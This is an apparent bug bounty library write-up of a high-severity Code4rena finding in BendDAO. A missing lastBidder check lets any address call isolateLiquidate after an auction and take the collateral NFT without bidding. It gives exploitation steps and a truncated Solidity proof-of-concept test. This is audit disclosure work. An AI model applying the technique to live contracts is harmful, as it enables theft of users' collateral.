# Anyone can get the NFT collateral token after an Auction without bidding due to missing check on msg.sender

BendDAO isolate liquidation lacked a msg.sender check, letting anyone call isolateLiquidate after an auction and receive the collateral NFT without bidding.

- Payout: Audit contest
- Severity: high
- Program: BendDAO
- Found by: oakcobalt
- Disclosed: 2024-09-03
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-07-benddao-findings/issues/14
- Library page: https://bugbountylibrary.com/r/c4%3A2024-07-benddao%3AH-07
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** IsolateLogic.executeIsolateLiquidate / IsolateLiquidation.isolateLiquidate
**Root cause:** executeIsolateLiquidate transfers the collateral NFT to params.msgSender without verifying the caller is the auction's lastBidder, so any address can trigger liquidation and receive the NFT.
**Steps:**
1. Set up isolate loan with BAYC collateral via prepareBorrow
2. Advance 365 days interest, drop NFT price to 5000
3. tsLiquidator1 places auction via prepareAuction
4. Advance 25 hours to end auction
5. tsBorrower2 (non-bidder) calls `isolateLiquidate(tsCommonPoolId, tsBAYC, tokenIds, tsWETH, liquidateAmounts, false)`
6. Assert tsBAYC.balanceOf(tsBorrower2) increased by tokenIds.length
**How found:** Code reading of IsolateLogic.sol liquidation flow: noticed msg.sender is passed through to erc721TransferIsolateSupplyOnLiquidate / erc721TransferOutLiquidity with no check that caller is lastBidder, then confirmed with a unit test where a non-bidder liquidates and receives NFTs.
**Exploitation:** After an auction period ends, any attacker calls isolateLiquidate on the isolate loan; the flow reaches executeIsolateLiquidate which transfers the collateral NFT(s) to msg.sender, so the attacker walks away with the NFT collateral without having bid.
**Insight:** In auction/liquidation flows, trace who receives the collateral transfer and verify the recipient is bound to the winning bidder; a passed-through msgSender param with no lastBidder equality check is a classic access-control gap.

## Proof of concept (copied exactly from the original report)

**Unit test proving anyone can liquidate and receive NFT**

```
function test_Anyone_Can_LiquidateWETH() public {
    TestCaseLocalVars memory testVars;

    // deposit
    prepareWETH(tsDepositor1);
    uint256[] memory tokenIds = prepareIsolateBAYC(tsBorrower1);

    // borrow
    prepareBorrow(tsBorrower1, address(tsBAYC), tokenIds, address(tsWETH));

    // make some interest
    advanceTimes(365 days);

    // drop down nft price
    actionSetNftPrice(address(tsBAYC), 5000);

    // auction
    prepareAuction(tsLiquidator1, address(tsBAYC), tokenIds, address(tsWETH));

    // end the auction
    advanceTimes(25 hours);

    uint256[] memory liquidateAmounts = new uint256[](tokenIds.length);
    testVars.loanDataBefore = getIsolateLoanData(tsCommonPoolId, address(tsBAYC), tokenIds);
    for (uint256 i = 0; i < tokenIds.length; i++) {
      testVars.totalBidAmount += testVars.loanDataBefore[i].bidAmount;
      testVars.totalBidFine += testVars.loanDataBefore[i].bidFine;
      testVars.totalRedeemAmount += testVars.loanDataBefore[i].redeemAmount;
      testVars.totalBorrowAmount += testVars.loanDataBefore[i].borrowAmount;
    }

    testVars.poolBalanceBefore = tsWETH.balanceOf(address(tsPoolManager));
    testVars.walletBalanceBefore1 = tsWETH.balanceOf(address(tsLiquidator1));
    testVars.walletBalanceBefore2 = tsWETH.balanceOf(address(tsBorrower1));
    testVars.erc721BalanceBefore1 = tsBAYC.balanceOf(address(tsLiquidator1));

    // liquidate
    // note: check tsBorrower2 can liquidate and receive nfts without bidding.
    tsBorrower2.isolateLiquidate(tsCommonPoolId, address(tsBAYC), tokenIds, address(tsWETH), liquidateAmounts, false);
```

